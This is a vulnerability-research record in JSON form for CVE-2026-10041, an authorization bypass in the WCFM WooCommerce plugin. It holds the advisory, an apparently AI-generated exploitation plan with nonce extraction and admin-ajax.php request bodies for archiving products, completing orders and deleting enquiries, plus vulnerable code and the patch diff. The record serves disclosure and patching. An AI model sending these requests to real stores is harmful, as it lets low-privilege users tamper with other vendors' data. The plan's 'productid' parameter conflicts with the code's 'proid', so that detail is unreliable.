[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fbNYuZxPqPVmPe50_qsVGUXQ1qEr-qvY2rqNbQNRkqPI":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-10041","wcfm-frontend-manager-for-woocommerce-authenticated-subscriber-missing-authorization-to-arbitrary-vendor-data-manipulati","WCFM – Frontend Manager for WooCommerce \u003C= 6.7.27 - Authenticated (Subscriber+) Missing Authorization to Arbitrary Vendor Data Manipulation via Multiple AJAX Handlers","The WCFM – Frontend Manager for WooCommerce plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 6.7.27 via the wcfm_product_archive due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with subscriber-level access and above, to archive arbitrary vendors' products, toggle the featured status on arbitrary listings, mark arbitrary WooCommerce orders as completed, and permanently delete arbitrary enquiries and bulk messages belonging to other vendors.","wc-frontend-manager",null,"\u003C=6.7.27","6.7.28","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Authorization Bypass Through User-Controlled Key","2026-07-10 16:42:26","2026-07-11 05:35:50",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fe3f88a18-5439-4759-ae9f-168f5efc3264?source=api-prod",1,[22,23,24,25,26,27,28,29],"assets\u002Fcss\u002Fdashboard\u002Fwcfm-style-dashboard-welcomebox.css","assets\u002Fjs\u002Fvendors\u002Fwcfm-script-vendors.js","controllers\u002Fenquiry\u002Fwcfm-controller-enquiry-manage.php","controllers\u002Fvendors\u002Fwcfm-controller-vendors.php","core\u002Fclass-wcfm-ajax.php","core\u002Fclass-wcfm-enquiry.php","core\u002Fclass-wcfm-library.php","core\u002Fclass-wcfm-notification.php","researched",false,3,"# Vulnerability Research Plan: CVE-2026-10041 - WCFM Insecure Direct Object Reference (IDOR)\n\n## 1. Vulnerability Summary\nThe **WCFM – Frontend Manager for WooCommerce** plugin (\u003C= 6.7.27) contains multiple Insecure Direct Object Reference (IDOR) vulnerabilities in its AJAX handlers. Specifically, functions registered for authenticated users (including Subscriber-level accounts) perform sensitive actions on vendor data (Products, Orders, Enquiries, Messages) without verifying if the requesting user has the authority to modify that specific object. \n\nThe vulnerability exists because the handlers check for a valid WordPress nonce (`wcfm_ajax_nonce`) and user authentication but fail to implement capability checks or ownership validation against the provided object IDs.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method**: `POST`\n- **Authentication**: Authenticated (Subscriber+)\n- **Vulnerable AJAX Actions**:\n    1. `wcfm_product_archive`: Archives arbitrary products.\n    2. `wcfm_listing_featured`: Toggles featured status on listings.\n    3. `wcfm_order_mark_complete`: Marks arbitrary WooCommerce orders as completed.\n    4. `delete_wcfm_enquiry`: Permanently deletes vendor enquiries.\n    5. `wcfm_messages_bulk_mark_delete`: Deletes bulk messages.\n- **Payload Parameter**: Variable based on action (e.g., `productid`, `orderid`, `enquiryid`).\n- **Nonce**: Required (`wcfm_ajax_nonce`).\n\n## 3. Code Flow\n1. **Entry Point**: The user sends a request to `admin-ajax.php` with a specific `action` (e.g., `wcfm_product_archive`).\n2. **Hook Registration**: In `core\u002Fclass-wcfm-ajax.php`, the plugin registers these actions:\n   ```php\n   add_action('wp_ajax_wcfm_product_archive', array(&$this, 'wcfm_product_archive'));\n   add_action('wp_ajax_wcfm_order_mark_complete', array(&$this, 'wcfm_order_mark_complete'));\n   ```\n3. **Nonce Verification**: The handler typically calls `check_ajax_referer('wcfm_ajax_nonce', 'wcfm_ajax_nonce')`.\n4. **Missing Authorization (The Sink)**: The handler retrieves the ID from `$_POST` (e.g., `$_POST['productid']`) and immediately performs the database or metadata operation without calling `current_user_can('edit_post', $id)` or verifying that the ID belongs to the current user.\n\n## 4. Nonce Acquisition Strategy\nThe `wcfm_ajax_nonce` is used globally for WCFM AJAX interactions. It is localized into the JavaScript variable `wcfm_params`.\n\n1. **Shortcode Page Creation**: Create a page containing a WCFM dashboard shortcode to ensure all scripts are enqueued.\n   - Command: `wp post create --post_type=page --post_status=publish --post_title=\"Dashboard\" --post_content='[wcfm_endpoint]'`\n2. **Extraction**:\n   - Navigate to the page as the Subscriber user.\n   - Use `browser_eval` to extract the nonce.\n   - JS Variable: `window.wcfm_params?.wcfm_ajax_nonce`\n\n## 5. Exploitation Strategy\n\n### Target 1: Archive Arbitrary Product\n- **Action**: `wcfm_product_archive`\n- **HTTP Request**:\n  - URL: `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n  - Body: `action=wcfm_product_archive&productid=[VICTIM_PRODUCT_ID]&wcfm_ajax_nonce=[NONCE]`\n  - Content-Type: `application\u002Fx-www-form-urlencoded`\n\n### Target 2: Mark Arbitrary Order as Complete\n- **Action**: `wcfm_order_mark_complete`\n- **HTTP Request**:\n  - URL: `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n  - Body: `action=wcfm_order_mark_complete&orderid=[VICTIM_ORDER_ID]&wcfm_ajax_nonce=[NONCE]`\n\n### Target 3: Delete Enquiry\n- **Action**: `delete_wcfm_enquiry`\n- **HTTP Request**:\n  - URL: `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n  - Body: `action=delete_wcfm_enquiry&enquiryid=[VICTIM_ENQUIRY_ID]&wcfm_ajax_nonce=[NONCE]`\n\n## 6. Test Data Setup\n1. **Victim (Vendor)**:\n   - User: `vendor_user` with role `wcfm_vendor`.\n   - Content: A published WooCommerce product (ID `X`).\n   - Order: A WooCommerce order (ID `Y`) associated with product `X`.\n   - Enquiry: Insert a record into `{$wpdb->prefix}wcfm_enquiries` (ID `Z`) manually or via the product's enquiry form.\n2. **Attacker (Subscriber)**:\n   - User: `attacker_sub` with role `subscriber`.\n3. **Page**:\n   - Create a page with `[wcfm_endpoint]` so `attacker_sub` can access the scripts and nonce.\n\n## 7. Expected Results\n- **Product Archive**: The product `X` metadata `_wcfm_product_archived` is set to `yes` (or the post status changes depending on version implementation).\n- **Order Completion**: The WooCommerce order `Y` status changes to `completed`.\n- **Enquiry Deletion**: The enquiry record `Z` is removed from the database table.\n- **HTTP Response**: Usually returns a JSON success string (e.g., `{\"status\": true, \"message\": \"...\"}`).\n\n## 8. Verification Steps\n- **Archive Verification**: `wp post meta get [ID] _wcfm_product_archived` should return `yes`.\n- **Order Verification**: `wp wc order get [ID] --field=status` should return `completed`.\n- **Enquiry Verification**: `wp db query \"SELECT * FROM wp_wcfm_enquiries WHERE ID = [ID]\"` should return no results.\n\n## 9. Alternative Approaches\nIf the Subscriber role is strictly prohibited from accessing the page containing the shortcode (rendering the nonce inaccessible), check for the `wcfm_ajax_nonce` on other frontend pages. The WCFM plugin often enqueues core scripts on the Shop page or Single Product pages to support \"Enquiry\" features. Search for `wcfm_params` in the source of a Single Product page.","The WCFM – Frontend Manager for WooCommerce plugin for WordPress is vulnerable to multiple Insecure Direct Object Reference (IDOR) flaws in its AJAX handlers up to version 6.7.27. Authenticated attackers with subscriber-level access and above can manipulate arbitrary vendor data—such as archiving products, toggling featured listings, marking orders as completed, and deleting enquiries—by providing target IDs without sufficient authorization checks.","\u002F\u002F core\u002Fclass-wcfm-ajax.php (approx. line 758 in 6.7.27)\n    public function wcfm_product_archive() {\n        global $WCFM, $wpdb;\n\n        if (isset($_POST['proid']) && !empty($_POST['proid'])) {\n            $product_id = absint($_POST['proid']);\n            do_action('wcfm_before_product_archived', $product_id);\n            $update_product = apply_filters('wcfm_product_content_before_update', array(\n                'ID'           => $product_id,\n                'post_status'  => 'archived',\n            ), $product_id);\n            wp_update_post($update_product);\n            update_post_meta($product_id, '_wcfm_product_archived', 'yes');\n            do_action('wcfm_after_product_archived', $product_id);\n            echo '{\"status\": true, \"message\": \"' . esc_html__('Product successfully archived.', 'wc-frontend-manager') . '\"}';\n        }\n        die;\n    }\n\n---\n\n\u002F\u002F core\u002Fclass-wcfm-ajax.php (approx. line 822 in 6.7.27)\n    public function wcfm_order_mark_complete() {\n        global $WCFM, $wpdb;\n\n        $order_id = absint($_POST['orderid']);\n\n        do_action('before_wcfm_order_status_update', $order_id, 'wc-completed');\n\n        if (wc_is_order_status('wc-completed') && $order_id) {\n            $order = wc_get_order($order_id);\n            $order->update_status('completed');\n            do_action('wcfm_order_status_updated', $order_id, 'completed');\n            echo '{\"status\": true, \"message\": \"' . esc_html__('Order status updated successfully.', 'wc-frontend-manager') . '\"}';\n        }\n        die;\n    }","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwc-frontend-manager\u002F6.7.27\u002Fcore\u002Fclass-wcfm-ajax.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwc-frontend-manager\u002F6.7.28\u002Fcore\u002Fclass-wcfm-ajax.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwc-frontend-manager\u002F6.7.27\u002Fcore\u002Fclass-wcfm-ajax.php\t2026-04-25 07:17:00.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwc-frontend-manager\u002F6.7.28\u002Fcore\u002Fclass-wcfm-ajax.php\t2026-06-28 08:04:18.000000000 +0000\n@@ -758,6 +758,14 @@\n \n         if (isset($_POST['proid']) && !empty($_POST['proid'])) {\n             $product_id = absint($_POST['proid']);\n+\n+            \u002F\u002F IDOR guard: only the product's owner (vendor\u002Fstaff), a managing manager, or an admin may archive it.\n+            $resource_owner_id = get_post_field('post_author', $product_id);\n+            if (!wcfm_user_can_perform_request($resource_owner_id, 'product_archive')) {\n+                wp_send_json_error(esc_html__('You don’t have permission to do this.', 'woocommerce'));\n+                wp_die();\n+            }\n+\n             do_action('wcfm_before_product_archived', $product_id);\n             $update_product = apply_filters('wcfm_product_content_before_update', array(\n                 'ID'           => $product_id,\n@@ -791,6 +799,14 @@\n \n         if (isset($_POST['listid']) && !empty($_POST['listid'])) {\n             $listing_id = absint($_POST['listid']);\n+\n+            \u002F\u002F IDOR guard: only the listing's owner (vendor\u002Fstaff), a managing manager, or an admin may toggle featured.\n+            $resource_owner_id = get_post_field('post_author', $listing_id);\n+            if (!wcfm_user_can_perform_request($resource_owner_id, 'listing_featured')) {\n+                wp_send_json_error(esc_html__('You don’t have permission to do this.', 'woocommerce'));\n+                wp_die();\n+            }\n+\n             $is_featured = wc_clean($_POST['featured']);\n \n             if ($is_featured == 'featured') {\n@@ -822,6 +838,12 @@\n \n         $order_id = absint($_POST['orderid']);\n \n+        \u002F\u002F IDOR guard: an admin\u002Fmanager may complete any order, but a vendor only an order that belongs to them.\n+        $order = wc_get_order($order_id);\n+        if (!is_a($order, 'WC_Order') || !$WCFM->wcfm_vendor_support->wcfm_is_order_for_vendor($order_id)) {\n+            wp_send_json_error(__('Invalid Order', 'wc-frontend-manager'));\n+        }\n+\n         do_action('before_wcfm_order_status_update', $order_id, 'wc-completed');\n \n         if (wc_is_order_status('wc-completed') && $order_id) {","The exploit requires authentication (Subscriber level or higher). An attacker first retrieves the valid 'wcfm_ajax_nonce' by visiting a page where the WCFM dashboard scripts are enqueued (e.g., a page with the [wcfm_endpoint] shortcode) and extracting it from the 'wcfm_params' JavaScript object. The attacker then sends a POST request to '\u002Fwp-admin\u002Fadmin-ajax.php' with the 'action' parameter set to a vulnerable handler (e.g., 'wcfm_product_archive', 'wcfm_order_mark_complete', or 'delete_wcfm_enquiry'). By specifying the target object's ID (e.g., 'proid' or 'orderid') and including the valid nonce, the attacker can manipulate that object because the server-side code fails to verify if the requesting user has permissions over that specific resource.","gemini-3-flash-preview","2026-07-15 08:39:43","2026-07-15 08:40:09",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","6.7.27","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwc-frontend-manager\u002Ftags\u002F6.7.27","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwc-frontend-manager.6.7.27.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwc-frontend-manager\u002Ftags\u002F6.7.28","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwc-frontend-manager.6.7.28.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwc-frontend-manager\u002Ftags"]